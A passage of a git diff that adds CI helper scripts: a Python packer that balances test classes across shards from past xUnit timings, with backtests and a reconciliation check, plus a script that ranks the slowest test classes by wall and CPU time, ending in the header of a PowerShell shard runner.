+    assigned = {c for shard in assignment for c in shard}
+    known = [weights[c] for c in assigned if c in weights]
+    default = sum(known) / len(known) if known else 0.0
+    return [sum(class_weight(weights.get(c, default), c in serial) for c in shard) for shard in assignment]
+
+
+def shard_results(d):
+    """[(file name, set of classes, assembly wall seconds)] for every XML under d, one XML per shard. A file that does
+    not parse or has no assembly time is skipped."""
+    out = []
+    for p in sorted(glob.glob(os.path.join(d, "**", "*.xml"), recursive=True)):
+        try:
+            a = ET.parse(p).getroot().find("assembly")
+            wall = float(a.get("time"))
+        except (ET.ParseError, OSError, AttributeError, TypeError, ValueError):
+            continue
+        classes = {t.get("type") for t in a.iter("test") if t.get("type")}
+        if classes and math.isfinite(wall) and wall > 0:
+            out.append((os.path.basename(p), classes, wall))
+    return out
+
+
+def backtest(run_dirs, serial_names):
+    """Rows (run dir, shard file, modelled s, ran s) for each run after the first, modelled from the run before it
+    with the weights and serial classes `pack` would have used."""
+    rows = []
+    for prev, cur in zip(run_dirs, run_dirs[1:]):
+        weights = load_weights([prev])
+        serial = {c for c, col in load_collections([prev]).items() if col in serial_names}
+        shards = shard_results(cur)
+        walls = predicted_walls([sorted(cl) for _, cl, _ in shards], weights, serial)
+        rows += [(cur, name, pw, wall) for (name, _, wall), pw in zip(shards, walls)]
+    return rows
+
+
+def load_cpu_weights(dirs):
+    """Managed CPU seconds per class from the `cpu-ms` attachments in every *.xml under dirs (Lite.Tests' per-test CPU
+    accountant, #5208). Returns {} when no test carries one. A missing, junk, NaN, infinite or negative value counts nothing."""
+    weights = collections.defaultdict(float)
+    for d in dirs:
+        paths = sorted(glob.glob(os.path.join(d, "**", "*.xml"), recursive=True)) if os.path.isdir(d) else sorted(glob.glob(d))
+        for p in paths:
+            try:
+                root = ET.parse(p).getroot()
+            except (ET.ParseError, OSError):
+                continue
+            for t in root.iter("test"):
+                cls = t.get("type")
+                if not cls:
+                    continue
+                for a in t.iter("attachment"):
+                    if a.get("name") != "cpu-ms":
+                        continue
+                    try:
+                        ms = float((a.text or "").strip())
+                    except ValueError:
+                        break
+                    if math.isfinite(ms) and ms >= 0:
+                        weights[cls] += ms / 1000.0
+                    break
+    return dict(weights)
+
+
+def backtest_cpu(run_dirs, serial_names):
+    """Rows (run dir, shard file, cpu-weighted share error, wall-weighted share error) for each run after the first
+    whose PREVIOUS run carries cpu-ms. Each model's per-shard loads are scaled so they sum to the run's total ran
+    seconds, which takes the unit out (CPU seconds are not wall seconds): what is compared is how well each weight
+    predicts a shard's SHARE of the work. The wall model is the one `backtest` uses; the CPU model weighs every class
+    at its CPU seconds (a CPU weight has no serial/parallel split), a class with no CPU history at the mean of the rest."""
+    rows = []
+    for prev, cur in zip(run_dirs, run_dirs[1:]):
+        cpu = load_cpu_weights([prev])
+        shards = shard_results(cur)
+        if not cpu or not shards:
+            continue
+        assignment = [sorted(cl) for _, cl, _ in shards]
+        ran = [wall for _, _, wall in shards]
+        serial = {c for c, col in load_collections([prev]).items() if col in serial_names}
+        wall_model = predicted_walls(assignment, load_weights([prev]), serial)
+        assigned = {c for shard in assignment for c in shard}
+        known = [cpu[c] for c in assigned if c in cpu]
+        default = sum(known) / len(known) if known else 0.0
+        cpu_model = [sum(cpu.get(c, default) for c in shard) for shard in assignment]
+        total = sum(ran)
+        scaled = []
+        for model in (cpu_model, wall_model):
+            s = sum(model)
+            scaled.append([m * total / s for m in model] if s > 0 else [0.0] * len(model))
+        rows += [(cur, name, abs(c - r) / r, abs(w - r) / r) for (name, _, r), c, w in zip(shards, scaled[0], scaled[1])]
+    return rows
+
+
+def pack(classes, shards, weights, serial=frozenset()):
+    """Returns (assignment: list of lists, method). Never drops or duplicates a class. `serial` is the set of
+    classes that run one at a time; with none, every weight is scaled alike and the cut is the plain sum cut."""
+    unique = sorted(set(classes))
+    known = {c: weights[c] for c in unique if c in weights}
+    usable = bool(unique) and bool(known) and len(known) / len(unique) >= MIN_COVERAGE and sum(known.values()) > 0
+    out = [[] for _ in range(shards)]
+    if not usable:
+        for c in unique:
+            out[hash_shard(c, shards)].append(c)
+        return out, "hash"
+    default = sum(known.values()) / len(known)
+    # The floor makes an empty shard impossible whenever there are at least as many classes as shards: a zero-time
+    # class (every test skipped) would otherwise never move a shard's load off zero.
+    weight = {c: max(class_weight(known.get(c, default), c in serial), MIN_WEIGHT) for c in unique}
+    load = [0.0] * shards
+    for c in sorted(unique, key=lambda c: (-weight[c], c)):
+        k = min(range(shards), key=lambda i: (load[i], i))
+        out[k].append(c)
+        load[k] += weight[c]
+    return out, "duration"
+
+
+def reconcile(classes, assignment):
+    """Returns a list of problems; empty means the shards are exactly the discovered set, once each."""
+    full = set(classes)
+    seen = collections.Counter(c for shard in assignment for c in shard)
+    missing = sorted(full - set(seen))
+    extra = sorted(set(seen) - full)
+    dup = sorted(c for c, n in seen.items() if n > 1)
+    problems = []
+    if missing:
+        problems.append(f"{len(missing)} discovered class(es) in NO shard (would never run): " + ", ".join(missing[:50]))
+    if extra:
+        problems.append(f"{len(extra)} shard class(es) not in the discovered set: " + ", ".join(extra[:50]))
+    if dup:
+        problems.append(f"{len(dup)} class(es) in more than one shard: " + ", ".join(dup[:50]))
+    if not full:
+        problems.append("the discovered class set is empty")
+    return problems
+
+
+def write_shards(out, assignment):
+    os.makedirs(out, exist_ok=True)
+    for k, shard in enumerate(assignment):
+        with open(os.path.join(out, f"shard-{k}.txt"), "w", encoding="utf-8", newline="\n") as f:
+            f.write("".join(c + "\n" for c in shard))
+
+
+def read_shards(out, shards):
+    result = []
+    for k in range(shards):
+        p = os.path.join(out, f"shard-{k}.txt")
+        result.append(read_classes(p) if os.path.exists(p) else [])
+    return result
+
+
+def run_reconcile(classes, assignment):
+    problems = reconcile(classes, assignment)
+    for p in problems:
+        print("::error title=Lite shard reconciliation failed::" + p)
+    if problems:
+        print("RECONCILIATION FAILED: the shard lists are not exactly the discovered class set.")
+        return 1
+    print(f"reconciled: {len(set(classes))} classes, each in exactly one of {len(assignment)} shards")
+    return 0
+
+
+def arg(args, name, default=None, many=False):
+    vals = [args[i + 1] for i, a in enumerate(args) if a == name and i + 1 < len(args)]
+    if many:
+        return vals
+    return vals[-1] if vals else default
+
+
+def _positional(args):
+    """The values after --runs up to the next flag (a shell hands them over as separate arguments)."""
+    if "--runs" not in args:
+        return []
+    out = []
+    for a in args[args.index("--runs") + 1:]:
+        if a.startswith("--"):
+            break
+        out.append(a)
+    return out
+
+
+def run_backtest(run_dirs, tests_dir):
+    if len(run_dirs) < 2:
+        print("backtest needs at least two run directories, oldest first")
+        return 2
+    serial_names, _ = serial_collection_names(tests_dir)
+    rows = backtest(run_dirs, serial_names)
+    for d, name, pw, wall in rows:
+        print(f"{os.path.basename(os.path.normpath(d))}  {name}: modelled {pw:.0f} s, ran {wall:.0f} s, {(pw - wall) / wall:+.0%}")
+    within = sum(1 for _, _, pw, wall in rows if abs(pw - wall) / wall <= 0.2)
+    print(f"{len(rows)} shards, {within} within 20% ({within / len(rows):.0%}); mean absolute error "
+          f"{sum(abs(pw - wall) / wall for _, _, pw, wall in rows) / len(rows):.1%}" if rows else "no shards to compare")
+    cpu_rows = backtest_cpu(run_dirs, serial_names)
+    if cpu_rows:
+        print(f"CPU-weighted cut (runs that carry cpu-ms, loads scaled to each run's total ran seconds): {len(cpu_rows)} shards; "
+              f"mean absolute error {sum(c for _, _, c, _ in cpu_rows) / len(cpu_rows):.1%} on CPU weights, "
+              f"{sum(w for _, _, _, w in cpu_rows) / len(cpu_rows):.1%} on wall weights, same shards, same scaling")
+    return 0
+
+
+def main(argv):
+    sys.stdout.reconfigure(encoding="utf-8", errors="replace")
+    if "--self-test" in argv:
+        return self_test()
+    if not argv or argv[0] not in ("pack", "reconcile", "backtest"):
+        print(__doc__)
+        return 2
+    cmd, rest = argv[0], argv[1:]
+    if cmd == "backtest":
+        return run_backtest(_positional(rest), arg(rest, "--tests-dir", DEFAULT_TESTS_DIR))
+    classes = read_classes(arg(rest, "--classes"))
+    shards = int(arg(rest, "--shards"))
+    out = arg(rest, "--out")
+    if cmd == "reconcile":
+        return run_reconcile(classes, read_shards(out, shards))
+    timings = arg(rest, "--timings", many=True)
+    weights = load_weights(timings)
+    tests_dir = arg(rest, "--tests-dir", DEFAULT_TESTS_DIR)
+    serial_names, unresolved = serial_collection_names(tests_dir)
+    for u in unresolved:
+        print(f"::warning title=Lite shard packer::could not resolve the serial collection name {u}; its classes are weighed as parallel")
+    if not serial_names:
+        print(f"::warning title=Lite shard packer::no DisableParallelization collection found under {tests_dir}; every class is weighed as parallel")
+    serial = {c for c, col in load_collections(timings).items() if col in serial_names}
+    if serial_names and not serial:
+        print("::warning title=Lite shard packer::serial collections are declared in the sources but no timed class sits in one of them; every class is weighed as parallel")
+    assignment, method = pack(classes, shards, weights, serial)
+    write_shards(out, assignment)
+    load = [sum(weights.get(c, 0.0) for c in s) for s in assignment]
+    walls = predicted_walls(assignment, weights, serial)
+    print(f"packed {len(set(classes))} classes into {shards} shards by {method}; "
+          f"{len(weights)} classes timed; shard sizes {[len(s) for s in assignment]}; "
+          f"timed seconds per shard {[round(x) for x in load]}; "
+          f"{len(serial)} serial classes, per shard {[sum(1 for c in s if c in serial) for s in assignment]}; "
+          f"predicted wall seconds per shard {[round(x) for x in walls]}")
+    return run_reconcile(classes, read_shards(out, shards))
+
+
+def self_test():
+    checks = 0
+
+    def ok(cond, msg):
+        nonlocal checks
+        checks += 1
+        if not cond:
+            print("SELF-TEST FAILED: " + msg)
+            raise SystemExit(1)
+
+    names = [f"Lite.Tests.C{i:03d}" for i in range(60)]
+    # Heavily skewed like the real data: a few classes carry most of the time.
+    skew = {n: (600.0 if i < 3 else 30.0 if i < 12 else 0.05) for i, n in enumerate(names)}
+
+    for shards in (1, 2, 3, 4, 7):
+        for w in (skew, {}, {n: 1.0 for n in names}):
+            a, _ = pack(names, shards, w)
+            ok(reconcile(names, a) == [], f"totality {shards} shards")
+            ok(sorted(c for s in a for c in s) == sorted(names), "union equals input")
+    a1, m1 = pack(names, 4, skew)
+    a2, m2 = pack(list(reversed(names)), 4, skew)
+    ok(a1 == a2 and m1 == m2 == "duration", "deterministic regardless of input order")
+    load = [sum(skew[c] for c in s) for s in a1]
+    ok(max(load) - min(load) <= 600.0, "skewed input spreads the three heavy classes")
+    ok(len({next(c for c in s if skew[c] == 600.0) for s in a1 if any(skew[c] == 600.0 for c in s)}) == 3, "heavy classes on different shards")
+
+    # A class with no timing history is assigned, not dropped.
+    known = {n: skew[n] for n in names[:-2]}
+    a, m = pack(names, 4, known)
+    ok(m == "duration" and reconcile(names, a) == [], "unknown classes still assigned")
+    ok(names[-1] in {c for s in a for c in s}, "the new class is in a shard")
+
+    # Fewer timed classes than shards, the rest at 0 s (every test skipped): the MIN_WEIGHT floor spreads the
+    # zero-time classes, so no shard goes empty. Without it the lowest-index empty shard took every one of them.
+    many = [f"Lite.Tests.Z{i:03d}" for i in range(100)]
+    a, m = pack(many, 4, {n: (900.0 if i < 2 else 0.0) for i, n in enumerate(many)})
+    ok(m == "duration" and [len(s) for s in a] == [1, 1, 49, 49], "zero-time classes spread instead of emptying a shard")
+
+    # Missing, empty and drifted timing data fall back to the hash and drop nothing.
+    for w in ({}, {"Other.Gone": 5.0}, {n: 1.0 for n in names[:10]}):
+        a, m = pack(names, 4, w)
+        ok(m == "hash" and reconcile(names, a) == [], "fallback is the hash and total")
+        ok(all(c in a[hash_shard(c, 4)] for c in names), "fallback matches the class-name hash cut")
+    # All-zero timings (no `time` on any test, or every test skipped) carry no information: hash, not a cut that
+    # piles every class onto shard 0.
+    a, m = pack(names, 4, {n: 0.0 for n in names})
+    ok(m == "hash" and reconcile(names, a) == [], "all-zero timings fall back to the hash")
+    with tempfile.TemporaryDirectory() as d:
+        with open(os.path.join(d, "bad.xml"), "w") as f:
+            f.write("<assemblies><not closed")
+        ok(load_weights([d]) == {}, "corrupt xml reads as no data")
+        ok(load_weights([os.path.join(d, "missing")]) == {}, "missing dir reads as no data")
+        with open(os.path.join(d, "good.xml"), "w") as f:
+            f.write('<assemblies><assembly><collection><test type="A" time="1.5"/><test type="A" time="0.5"/>'
+                    '<test type="B" time="x"/></collection></assembly></assemblies>')
+        ok(load_weights([d]) == {"A": 2.0}, "sums per class, skips unparsable time")
+    with tempfile.TemporaryDirectory() as d:
+        with open(os.path.join(d, "t.xml"), "w") as f:
+            f.write('<a><test type="A"/><test type="B" time="nan"/><test type="C" time="-1"/><test type="D" time="2"/>'
+                    '<test type="E" time="inf"/></a>')
+        ok(load_weights([d]) == {"D": 2.0}, "no time, NaN, infinite and negative times are not timings")
+
+    # Serial-aware weighting (#5208). Three parallel classes of 1000 s and one of 300 s fix the loads; twelve serial
+    # classes of 50 s then all land on the lightest shard under a plain sum cut, where each serial second costs a
+    # whole wall second but a parallel one only 1/PARALLEL_CONCURRENCY.
+    par = {"Lite.Tests.P0": 1000.0, "Lite.Tests.P1": 1000.0, "Lite.Tests.P2": 1000.0, "Lite.Tests.P3": 300.0}
+    ser = {f"Lite.Tests.S{i:02d}": 50.0 for i in range(12)}
+    fw = {**par, **ser}
+    fc = sorted(fw)
+    fs = frozenset(ser)
+    plain, _ = pack(fc, 4, fw)
+    aware, m = pack(fc, 4, fw, fs)
+    ok(m == "duration" and reconcile(fc, aware) == [] and reconcile(fc, plain) == [], "serial fixture packs and reconciles")
+    ok(max(sum(1 for c in s if c in fs) for s in plain) >= 10, "fixture: a plain sum cut piles the serial classes on one shard")
+    ok(max(sum(1 for c in s if c in fs) for s in aware) <= 6, "serial classes spread: no shard takes more than half of them")
+    pw = predicted_walls(plain, fw, fs)
+    aw = predicted_walls(aware, fw, fs)
+    ok(max(pw) / min(pw) > 1.25, "fixture: the plain sum cut predicts unbalanced walls")
+    ok(max(aw) / min(aw) <= 1.25, "serial-aware cut predicts walls within 1.25x")
+    ok(max(aw) < max(pw), "serial-aware cut lowers the slowest predicted shard")
+    ok(pack(list(reversed(fc)), 4, fw, fs)[0] == aware, "serial-aware cut is deterministic regardless of input order")
+    ok(class_weight(34.0, True) == 34.0 and abs(class_weight(34.0, False) - 34.0 / PARALLEL_CONCURRENCY) < 1e-9, "serial weighs full, parallel is divided")
+    pw1 = predicted_walls([["Lite.Tests.P", "Lite.Tests.S"]], {"Lite.Tests.P": 356.0, "Lite.Tests.S": 10.0}, frozenset({"Lite.Tests.S"}))
+    ok(abs(pw1[0] - (356.0 / PARALLEL_CONCURRENCY + 10.0)) < 1e-9, "wall = parallel seconds / concurrency + serial seconds")
+    ok(3.4 < PARALLEL_CONCURRENCY < 3.8, "the concurrency stays inside the range the nine fitted runs support")
+
+    # Collection names from the XML, and serial declarations read from sources (literal and Holder.Name forms).
+    with tempfile.TemporaryDirectory() as d:
+        with open(os.path.join(d, "t.xml"), "w") as f:
+            f.write('<assemblies><assembly><collection name="Gate"><test type="A" time="1"/><test type="B" time="1"/></collection>'
+                    '<collection name="Test collection for C (id: 1)"><test type="C" time="1"/></collection></assembly></assemblies>')
+        ok(load_collections([d]) == {"A": "Gate", "B": "Gate", "C": "Test collection for C (id: 1)"}, "XML collection names per class")
+    with tempfile.TemporaryDirectory() as d:
+        with open(os.path.join(d, "x.cs"), "w", encoding="utf-8") as f:
+            f.write('[CollectionDefinition("Lit", DisableParallelization = true)]\npublic class A {}\n'
+                    '[CollectionDefinition(Holder.Name, DisableParallelization = true)]\npublic class B {}\n'
+                    '[CollectionDefinition("Par")]\npublic class C {}\n'
+                    '[CollectionDefinition("Off", DisableParallelization = false)]\npublic class D {}\n'
+                    'public static class Holder\n{\n    public const string Name = "from-const";\n}\n'
+                    '[CollectionDefinition(Missing.Name, DisableParallelization = true)]\npublic class E {}\n')
+        cnames, unresolved = serial_collection_names(d)
+        ok(cnames == {"Lit", "from-const"} and unresolved == ["Missing.Name"], "serial collections: literal and constant resolved, parallel skipped, unknown reported")
+    # The real test sources: every DisableParallelization definition must resolve to a name, or the packer would
+    # silently weigh that collection as parallel.
+    if os.path.isdir(DEFAULT_TESTS_DIR):
+        cnames, unresolved = serial_collection_names(DEFAULT_TESTS_DIR)
+        ok(unresolved == [], "every serial collection in Lite.Tests resolves to a name: " + ", ".join(unresolved))
+        # The scan must find at least one serial collection; no collection name is hard-coded here, so renaming a
+        # collection does not fail the shard-0 job (#5208).
+        ok(len(cnames) > 0, "Lite.Tests declares at least one serial collection")
+
+    # Back-test (#5208): run 2's shards are modelled from run 1's seconds. Shard A holds one parallel class (356 s)
+    # and one serial class (10 s), so 356 / PARALLEL_CONCURRENCY + 10 against a 120 s wall.
+    with tempfile.TemporaryDirectory() as d:
+        def shard_xml(path, wall, tests):
+            body = "".join(f'<collection name="{col}"><test type="{c}" time="{t}"/></collection>' for c, col, t in tests)
+            with open(path, "w") as f:
+                f.write(f'<assemblies><assembly time="{wall}">{body}</assembly></assemblies>')
+        r1, r2 = os.path.join(d, "r1"), os.path.join(d, "r2")
+        os.makedirs(r1)
+        os.makedirs(r2)
+        shard_xml(os.path.join(r1, "s0.xml"), 99, [("A", "Par", 356.0), ("S", "Ser", 10.0)])
+        shard_xml(os.path.join(r1, "s1.xml"), 99, [("B", "Par", 178.0)])
+        shard_xml(os.path.join(r2, "s0.xml"), 120.0, [("A", "Par", 1.0), ("S", "Ser", 1.0)])
+        shard_xml(os.path.join(r2, "s1.xml"), 40.0, [("B", "Par", 1.0)])
+        with open(os.path.join(r2, "broken.xml"), "w") as f:
+            f.write("<assemblies><not closed")
+        rows = backtest([r1, r2], {"Ser"})
+        ok(len(rows) == 2, "back-test skips an unreadable shard file and models one row per shard")
+        ok(abs(rows[0][2] - (356.0 / PARALLEL_CONCURRENCY + 10.0)) < 1e-9 and rows[0][3] == 120.0, "back-test models a shard from the previous run's seconds")
+        ok(abs(rows[1][2] - 178.0 / PARALLEL_CONCURRENCY) < 1e-9 and rows[1][3] == 40.0, "back-test: the second shard uses its parallel seconds only")
+        ok(backtest([r1], {"Ser"}) == [], "back-test of a single run has nothing to compare")
+        ok(run_backtest([r1], DEFAULT_TESTS_DIR) == 2, "back-test with one directory is a usage error")
+
+    # CPU back-test (#5208): the previous run's cpu-ms attachments weight a CPU cut; the wall model is scored beside it.
+    with tempfile.TemporaryDirectory() as d:
+        def cpu_xml(path, wall, tests):
+            body = "".join(f'<test type="{c}" time="{t}"><attachments><attachment name="cpu-ms">{ms}</attachment></attachments></test>'
+                           for c, t, ms in tests)
+            with open(path, "w") as f:
+                f.write(f'<assemblies><assembly time="{wall}">{body}</assembly></assemblies>')
+        p1, p2, p0 = (os.path.join(d, n) for n in ("p1", "p2", "p0"))
+        for x in (p0, p1, p2):
+            os.makedirs(x)
+        cpu_xml(os.path.join(p1, "s0.xml"), 99, [("A", 30.0, 3000), ("B", 30.0, 1000)])
+        cpu_xml(os.path.join(p1, "s1.xml"), 99, [("C", 30.0, 1000)])
+        cpu_xml(os.path.join(p2, "s0.xml"), 80.0, [("A", 1.0, 1), ("B", 1.0, 1)])
+        cpu_xml(os.path.join(p2, "s1.xml"), 20.0, [("C", 1.0, 1)])
+        ok(load_cpu_weights([p1]) == {"A": 3.0, "B": 1.0, "C": 1.0}, "cpu weights are seconds per class")
+        crows = backtest_cpu([p1, p2], set())
+        ok(len(crows) == 2 and all(c < 1e-9 for _, _, c, _ in crows), "CPU weights 4:1 predict the 80:20 split exactly")
+        ok(all(w > 0.1 for _, _, _, w in crows), "the wall model (2:1) misses the same split")
+        with open(os.path.join(p0, "s0.xml"), "w") as f:
+            f.write('<assemblies><assembly time="50"><test type="A" time="1"/><test type="C" time="1"><attachments>'
+                    '<attachment name="cpu-ms">junk</attachment></attachments></test></assembly></assemblies>')
+        ok(load_cpu_weights([p0]) == {} and backtest_cpu([p0, p2], set()) == [], "runs without usable cpu-ms back-test nothing")
+
+    # The guard must FAIL when a class is withheld, duplicated or invented. `names` is the 60-class list from the top
+    # of the self-test; the checks below must run on it, not on collection names (#5208 review F1).
+    ok(len(names) == 60, "self-test class list intact")
+    a, _ = pack(names, 4, skew)
+    withheld = [list(s) for s in a]
+    gone = withheld[2].pop()
+    p = reconcile(names, withheld)
+    ok(len(p) == 1 and gone in p[0] and "NO shard" in p[0], "withheld class is reported by name")
+    with tempfile.TemporaryDirectory() as d, open(os.path.join(d, "c.txt"), "w") as f:
+        f.write("\n".join(names) + "\n")
+        f.flush()
+        write_shards(d, withheld)
+        print("--- expected failure below (a class was deliberately withheld) ---")
+        ok(run_reconcile(read_classes(f.name), read_shards(d, 4)) == 1, "reconcile exits 1 when a class is withheld")
+        print("--- end expected failure ---")
+        write_shards(d, a)
+        ok(run_reconcile(read_classes(f.name), read_shards(d, 4)) == 0, "reconcile passes on the real pack")
+    dup = [list(s) for s in a]
+    dup[0].append(dup[1][0])
+    ok(any("more than one" in x for x in reconcile(names, dup)), "duplicate detected")
+    inv = [list(s) for s in a]
+    inv[0].append("Invented.Class")
+    ok(any("not in the discovered" in x for x in reconcile(names, inv)), "invented class detected")
+    ok(reconcile([], [[], []]) != [], "empty discovered set fails")
+
+    print(f"self-test: {checks} assertions passed")
+    return 0
+
+
+if __name__ == "__main__":
+    sys.exit(main(sys.argv[1:]))
diff --git a/.github/scripts/lite-timing-top.py b/.github/scripts/lite-timing-top.py
new file mode 100644
index 0000000000..26db24369b
--- /dev/null
+++ b/.github/scripts/lite-timing-top.py
@@ -0,0 +1,179 @@
+#!/usr/bin/env python3
+"""Print the slowest Lite.Tests classes and tests from xUnit v3 `-xml` result files (#5208).
+
+Usage: lite-timing-top.py <file-or-directory> [...]
+       lite-timing-top.py --self-test
+Reads every *.xml given (or found under a directory), sums <test time="..."> seconds per class,
+and prints the 25 slowest classes and the 25 slowest tests. Informational only.
+
+When the tests carry the `cpu-ms` attachment (Lite.Tests' per-test CPU accountant, #5208), each class line also shows
+the managed CPU seconds charged to it, a second list ranks the top classes by CPU, and the coverage line says how much
+of the process's CPU the charged total explains: the sum of every cpu-ms against the process's own CPU time, read from
+the `<xml>.cpu.json` file the run wrote beside each XML. Native DuckDB threads and work that does not flow the
+execution context are not charged, so the ratio is the honest limit of any CPU weight.
+"""
+import collections
+import contextlib
+import glob
+import io
+import json
+import os
+import sys
+import tempfile
+import xml.etree.ElementTree as ET
+
+TOP = 25
+TOP_CPU = 10
+
+
+def _expand(args, suffix):
+    for a in args:
+        if os.path.isdir(a):
+            yield from sorted(glob.glob(os.path.join(a, "**", "*" + suffix), recursive=True))
+        else:
+            yield from sorted(p for p in glob.glob(a) if p.endswith(suffix))
+
+
+def files(args):
+    return _expand(args, ".xml")
+
+
+def sidecars(args):
+    return _expand(args, ".cpu.json")
+
+
+def test_cpu_seconds(t):
+    """Seconds from a <test>'s `cpu-ms` attachment, or None when it has none or it is not a finite non-negative number."""
+    for a in t.iter("attachment"):
+        if a.get("name") == "cpu-ms":
+            try:
+                ms = float((a.text or "").strip())
+            except ValueError:
+                return None
+            return ms / 1000.0 if 0 <= ms < float("inf") else None
+    return None
+
+
+def coverage(args):
+    """(charged cpu seconds, process cpu seconds, files read) summed over every sidecar."""
+    charged = process = 0.0
+    n = 0
+    for p in sidecars(args):
+        try:
+            with open(p, encoding="utf-8") as f:
+                d = json.load(f)
+            c = float(d["cpu_ms"]) / 1000.0
+            pr = float(d["process_cpu_ms"]) / 1000.0
+        except (OSError, ValueError, KeyError, TypeError):
+            print(f"skipped {p}: not a CPU coverage file")
+            continue
+        charged += c
+        process += pr
+        n += 1
+    return charged, process, n
+
+
+def main(args):
+    if hasattr(sys.stdout, "reconfigure"):
+        sys.stdout.reconfigure(encoding="utf-8", errors="replace")
+    if "--self-test" in args:
+        return self_test()
+    classes = collections.defaultdict(lambda: [0.0, 0, 0.0, 0])  # wall s, tests, cpu s, tests with cpu
+    tests = []
+    seen = 0
+    for path in files(args):
+        seen += 1
+        try:
+            root = ET.parse(path).getroot()
+        except (ET.ParseError, OSError) as e:
+            print(f"skipped {path}: {e}")
+            continue
+        for t in root.iter("test"):
+            try:
+                secs = float(t.get("time") or 0)
+            except ValueError:
+                continue
+            cls = t.get("type") or "(unknown)"
+            classes[cls][0] += secs
+            classes[cls][1] += 1
+            cpu = test_cpu_seconds(t)
+            if cpu is not None:
+                classes[cls][2] += cpu
+                classes[cls][3] += 1
+            tests.append((secs, t.get("name") or "(unnamed)"))
+    if not tests:
+        print(f"no <test> elements found in {seen} file(s)")
+        return 0
+    total = sum(v[0] for v in classes.values())
+    with_cpu = sum(v[3] for v in classes.values())
+    print(f"{len(tests)} tests in {len(classes)} classes from {seen} file(s); summed test time {total:.1f}s")
+    print(f"\n== {TOP} slowest classes (summed seconds; cpu = managed CPU charged to the class's tests) ==")
+    for cls, (secs, n, cpu, ncpu) in sorted(classes.items(), key=lambda kv: -kv[1][0])[:TOP]:
+        col = f"{cpu:8.2f}s cpu" if ncpu else "     n/a cpu"
+        print(f"{secs:9.2f}s {col} {n:5d} tests  {cls}")
+    if with_cpu:
+        print(f"\n== {TOP_CPU} classes with the most CPU ==")
+        for cls, (secs, n, cpu, ncpu) in sorted(classes.items(), key=lambda kv: -kv[1][2])[:TOP_CPU]:
+            print(f"{cpu:8.2f}s cpu {secs:9.2f}s wall {n:5d} tests  {cls}")
+    print(f"\n== {TOP} slowest tests ==")
+    for secs, name in sorted(tests, reverse=True)[:TOP]:
+        print(f"{secs:9.2f}s  {name}")
+    charged, process, n = coverage(args)
+    if with_cpu or n:
+        summed = sum(v[2] for v in classes.values())
+        line = f"\nCPU coverage: {with_cpu} of {len(tests)} tests carry cpu-ms; charged {summed:.1f}s"
+        if n and process > 0:
+            line += f"; process CPU {process:.1f}s over {n} run file(s); ratio {charged / process:.1%}"
+        else:
+            line += "; no process CPU file found"
+        print(line)
+    return 0
+
+
+def self_test():
+    def ok(cond, msg):
+        if not cond:
+            print("SELF-TEST FAILED: " + msg)
+            raise SystemExit(1)
+
+    def test(name, cls, secs, cpu_ms=None):
+        att = f'<attachments><attachment name="cpu-ms">{cpu_ms}</attachment></attachments>' if cpu_ms is not None else ""
+        return f'<test name="{name}" type="{cls}" time="{secs}">{att}</test>'
+
+    def run(path):
+        buf = io.StringIO()
+        with contextlib.redirect_stdout(buf):
+            ok(main([path]) == 0, "main exits 0")
+        return buf.getvalue()
+
+    with tempfile.TemporaryDirectory() as d:
+        with open(os.path.join(d, "a.xml"), "w") as f:
+            f.write("<assemblies><assembly><collection>"
+                    + test("A.t1", "A", 2.0, 1500) + test("A.t2", "A", 1.0, 500)
+                    + test("B.t1", "B", 5.0, 100) + test("C.t1", "C", 0.5) + test("C.t2", "C", 0.5, "junk")
+                    + "</collection></assembly></assemblies>")
+        with open(os.path.join(d, "a.xml.cpu.json"), "w") as f:
+            f.write('{"cpu_ms":2100,"process_cpu_ms":4200,"tests":4}')
+        root = ET.parse(os.path.join(d, "a.xml")).getroot()
+        ok([test_cpu_seconds(t) for t in root.iter("test")] == [1.5, 0.5, 0.1, None, None], "cpu-ms parsed; absent or junk is None")
+        ok(list(files([d])) == [os.path.join(d, "a.xml")], "a sidecar is not read as a result file")
+        ok(list(sidecars([d])) == [os.path.join(d, "a.xml.cpu.json")], "the sidecar is found")
+        ok(coverage([d]) == (2.1, 4.2, 1), "coverage sums the sidecars")
+        out = run(d)
+        ok("CPU coverage: 3 of 5 tests carry cpu-ms; charged 2.1s; process CPU 4.2s over 1 run file(s); ratio 50.0%" in out,
+           "coverage line, got: " + out[-200:])
+        top = out.split("classes with the most CPU ==")[1].splitlines()[1]
+        ok(top.rstrip().endswith("A") and "2.00s cpu" in top, "A has the most CPU: " + top)
+        first = out.split("slowest classes")[1].splitlines()[1]
+        ok(first.rstrip().endswith("B") and "0.10s cpu" in first, "the wall list shows each class's cpu: " + first)
+    with tempfile.TemporaryDirectory() as d:
+        with open(os.path.join(d, "b.xml"), "w") as f:
+            f.write("<assemblies><assembly>" + test("A.t1", "A", 1.0) + "</assembly></assemblies>")
+        out = run(d)
+        ok("CPU coverage" not in out and "n/a cpu" in out, "XML without cpu-ms prints no coverage line")
+    print("self-test ok")
+    return 0
+
+
+if __name__ == "__main__":
+    sys.exit(main(sys.argv[1:]))
diff --git a/.github/scripts/run-darling-pg-shard.ps1 b/.github/scripts/run-darling-pg-shard.ps1
new file mode 100644
index 0000000000..c197b271fe
--- /dev/null
+++ b/.github/scripts/run-darling-pg-shard.ps1
@@ -0,0 +1,142 @@
+<#
+.SYNOPSIS
+  Runs one shard of the Darling.Tests suite: cuts the class list by hash, chunks it under the command-line
+  budget, and runs the test host once per chunk (#5616).
+
+.DESCRIPTION
+  The ONE copy of the Darling shard logic. build.yml's darling-pg job (every pull request and push) and
+  nightly.yml's darling-pg job both call it, so the two cut the suite the same way. What differs between the
+  callers is passed in; the env blocks, the cluster set-up, the build fetching and the path gates stay in each
+  workflow. Run from the repository root, after Darling.Tests was built in Release.
+
+  -Shard / -ShardCount   this leg's index and the matrix's leg count (strategy.job-total).
+  -EventName             the workflow event. Only 'pull_request' leaves out Cost=Slow classes (#5459 change 5);
+                         the SLOW_PR, SLOW_REPO and SLOW_BASE_REF environment variables carry the rest of that lookup
+                         (a pull request into main, SLOW_BASE_REF=main, skips nothing).
+  -GuardBuildUsed        'true' only when this leg used the Guard job's build, which proves that job ran the
+                         Stage=Guard classes; the listing then leaves them out so each class still runs once.
+  -ResultPrefix          the .trx file name prefix: TestResults/<prefix>-<shard>-<chunk>.trx.
+  -SelectionFile         the test map selection the pull request's test-map-select job wrote (#5459); empty or
+                         missing: no selection. A usable one replaces the Cost=Slow skip and keeps only the
+                         classes it names; FULL, unreadable or empty means every class this leg was cut runs.
+  -ScopeFilter           extra runner arguments for the class listing, for a caller that runs part of the suite
